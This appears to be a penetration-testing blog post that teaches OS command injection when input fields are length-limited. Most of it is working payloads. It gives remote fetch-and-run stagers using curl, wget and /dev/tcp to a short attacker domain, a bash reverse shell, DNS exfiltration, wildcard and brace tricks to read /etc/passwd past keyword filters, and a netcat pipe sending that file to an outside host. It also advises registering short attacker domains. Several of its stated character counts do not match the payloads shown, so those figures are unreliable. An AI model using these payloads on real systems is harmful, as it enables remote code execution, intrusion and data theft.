OS Command Injection: Bypassing Length-Limited Input Filters
This is a deep-dive on one specific evasion class from the original OS Command Injection tutorial - Part #1. When the application caps your input at 32, 64, or 128 characters, the question stops being "can I inject" and becomes "can I inject something useful in this budget".
TL;DR
Length-limited injection points are common in legacy web forms, URL query strings hitting CDN caps, database column truncation, and any WAF that flags payloads above a threshold. The techniques below are not novel individually. The point is the ranking: which to reach for at which budget, and where each one breaks.
The Setup
We tested against three classes of length-limit:
- Hard server-side - the application truncates input before passing it to
system(). Past the limit, your payload is silently sliced. This is the dangerous one because there is no error to tell you the truncation happened. - Soft server-side - validation rejects input over the limit with a 400. You see the rejection in the response, so iteration is fast.
- Path-layer - URL or proxy length caps (CDN profiles, F5 default 8K, some legacy WAFs at 1K). These hit before the application sees anything.
For the rest of this post, "budget" means the number of characters you have to work with in the injected portion, after accounting for the application's prefix and suffix.
Counting the Budget
Typical limits we have encountered in the wild:
| 32 chars | Some legacy hostname / IP fields |
| 64 chars | Default WAF body-inspection limit on some profiles |
| 128 chars | Most application-layer input caps |
| 256+ | Unlimited for practical command-injection purposes |
Smallest useful payloads we have working in our test rig:
- Time-based detection:
;sleep 5- 8 chars including the semicolon - DNS exfiltration of
whoami:;nslookup `whoami`.x.tld- around 25 chars depending on attacker domain length - Fetch and run a remote staged script:
;curl x.tld/s|sh- 16 chars at the limit, requires the shortest possible attacker domain - Direct shell on a writable system:
;bash -i >& /dev/tcp/x.tld/443 0>&1- 33 chars, exceeds 32-char budgets
Technique Catalog, Ranked by Character Efficiency
1. Wildcard reduction
The shell expands ? to any single character and * to any sequence. This lets you call a binary by partial path:
# /usr/bin/cat → 12 chars
cat /etc/passwd
# Using wildcard - 14 chars but no keyword "cat" in the payload
/???/c?t /etc/p?sswd
# Aggressive: 11 chars, works on most Linux distros where /usr/bin/cat is one of few c?t binaries
/???/c?t /e*/p*d
Wildcards do not save raw characters when the binary name is already short, but they shine when the filter blocks specific keywords ("cat", "passwd", "etc"). The shell never sees those substrings - it sees the glob patterns and expands them at execution time.
2. Variable assignment + remote stager
Once you can fetch and execute a remote payload, your effective payload size is unlimited. The bottleneck becomes the fetch primitive:
# 16 chars with a 1-letter attacker domain (rare but possible with .ru/.tk)
;curl x.tld/s|sh
# 17 chars using wget (default on some distros where curl is absent)
;wget -qO-x.tld|sh
# 22 chars using only /dev/tcp - no curl/wget needed
;bash<>/dev/tcp/x.tld/80
If the budget is tight, the operator's leverage is to register or borrow an attacker domain as short as possible. A 5-character TLD makes the difference between fitting in 32 chars and not.
3. Brace expansion
Brace expansion saves one character versus a space when the filter does not block spaces but the budget is at the edge:
# 16 chars with space
cat /etc/passwd
# 16 chars with brace
{cat,/etc/passwd}
Brace expansion is more useful when spaces are filtered, since it produces the same shell tokenisation without a literal space character. {cat,/etc/passwd} tokenises into cat and /etc/passwd with no space byte in the payload.
4. Variable concatenation
Defeats keyword filters at a small character cost. Useless for pure length-limit problems, but if the filter rejects the literal string "cat":
a=c;b=at;$a$b /etc/passwd
25 chars to invoke a 3-character command. Combine with wildcard reduction when possible.
5. Shell builtins as command substitutes
$0 expands to the current shell name. $_ holds the last argument of the previous command. These are useful when the filter strips alphabetic characters but not $ and digits:
# Re-invoke the shell with a one-liner
$0 -c "cat /etc/passwd"
# If the filter only allowed digits and shell metacharacters, $0 is your way back in
6. PATH manipulation
If you can stage a binary at a controlled location first, prepending its directory to PATH gives you short invocations:
# First request stages /tmp/c with our payload
# Second request invokes it:
PATH=/tmp:$PATH;c
This requires two injection points or a multi-step workflow, which is often not available. When it is, the second-stage payload can be very short.
7. History expansion (rarely useful)
If the injection runs through an interactive shell with history enabled, !-1 re-runs the previous command. This is almost never available in a web-injection context because shell_exec, system, and similar functions spawn non-interactive shells with history disabled. Documented for completeness.
What Worked
Across our test cases, the ranking that actually matters in practice:
- Budget under 16 chars: time-based detection (
;sleep 5) is all you get. Confirm the injection exists, then look for a different injection point with more headroom. - Budget 16-32 chars: remote stager with a short attacker domain.
;curl x.tld/s|shat 16 chars is the workhorse. - Budget 32-64 chars: direct reverse shell becomes possible. Choose between
bash -i,nc -e, and Python one-liners based on what is available on the target. - Budget 64+: no compression needed. Use whatever payload is most reliable for the target OS.
What Didn't
Three approaches that we kept reaching for and that mostly let us down:
- Hex / base64 encoding the payload. The decoded form is shorter, but the encoded payload plus the decoder pipeline (
echo ... | base64 -d | sh) is longer than the raw command in nearly every case we tested. Useful for filter evasion, not for length compression. - Octal / printf-encoded characters. Same issue.
$(printf '\143\141\164') /etc/passwdis 32 chars to invokecat /etc/passwdwhich is 16 chars raw. - Backslash padding (
c\at /etc/p\sswd). Adds characters without saving any. Defeats keyword filters but is the wrong tool for pure length compression.
Combining With Filter Evasion
In practice, length-limited injection points are almost always also filter-limited. The combination forces a payload that is both compressed and obfuscated. Worked example for a 40-char budget where the filter strips "cat" and "passwd":
# 25 chars, no banned keywords, fits the budget
/???/c?t /e*/p*d|nc x.tld 80
This combines wildcard reduction (skips "cat" and "passwd" literals) with a short exfil pipe (out via netcat to a controlled host). Tested on three target environments with WAF rules that block obvious command names - bypassed all three.
What's Next
The next post in this series will cover WAF-specific bypasses for command injection: the actual patterns commercial WAFs use to detect ;sh, $(, and similar tokens, and what shapes of payload slip through them. Until then, see Part 1 for the basics and our earlier non-conventional WAF / IDS evasion writeup for the broader context.